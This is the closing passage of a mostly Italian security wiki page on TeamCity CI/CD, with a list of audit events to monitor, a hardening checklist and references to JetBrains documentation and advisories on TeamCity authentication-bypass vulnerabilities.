||||
Build configuration diffs
|
||||
Versioned settings commits
|
||||
VCS root credential changes
|
||||
Agent authorization changes
|
||||
Build triggers and schedules
|
||||
Suspicious artifact publications
|
||||
```
|
||||
## Checklist di Hardening
|
||||
|
||||
- Mantieni TeamCity On-Premises completamente aggiornato; i server esposti con vecchi auth bypasses sono target di alto valore.
|
||||
- Non esporre TeamCity direttamente a internet a meno che non siano in atto strong access controls, SSO/MFA, network filtering e patching rapido.
|
||||
- Disabilita Guest Login sui server di produzione.
|
||||
- Disabilita Super User Access con `teamcity.superUser.disable=true` se i server logs sono esportati o ampiamente leggibili.
|
||||
- Usa gruppi con least-privilege e ruoli custom invece di ampi grant di Project Administrator.
|
||||
- Usa short-lived scoped tokens per l’automazione REST.
|
||||
- Mantieni le build settings in un repository separato e protetto se usi versioned settings.
|
||||
- Tratta le PR builds da fork come hostile; usa Untrusted Builds, approvazione manuale e isolated disposable agents.
|
||||
- Separa le build public/untrusted dalle deployment builds con dedicated agent pools.
|
||||
- Usa disposable agents e imposta clean checkout per le build sensibili.
|
||||
- Evita long-lived cloud/static credentials nei parameters; preferisci cloud OIDC/workload identity dove possibile.
|
||||
- Richiedi IMDSv2 sugli AWS agents e limita l’accesso ai metadata dai container.
|
||||
- Esegui gli agents come OS users a basso privilegio ed evita di montare il Docker socket a meno che non sia strettamente necessario.
|
||||
- Usa HTTPS per il traffico agent-to-server.
|
||||
- Limita l’installazione dei plugin a trusted admins e verifica le modifiche ai plugin.
|
||||
- Mantieni i server logs e la TeamCity Data Directory leggibili solo dall’account OS del server TeamCity e dagli admin.
|
||||
- Usa una custom encryption key per i secure values invece di affidarti al meccanismo di scrambling predefinito.
|
||||
- Conserva build history/logs per le indagini e limita i permessi di eliminazione delle build.
|
||||
|
||||
## References
|
||||
|
||||
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
|
||||
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
|
||||
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
|
||||
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
|
||||
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
|
||||
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
|
||||
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
|
||||
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
|
||||
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
|
||||
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
|
||||
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
|
||||
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
|
||||
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
|
||||
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
|
||||
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user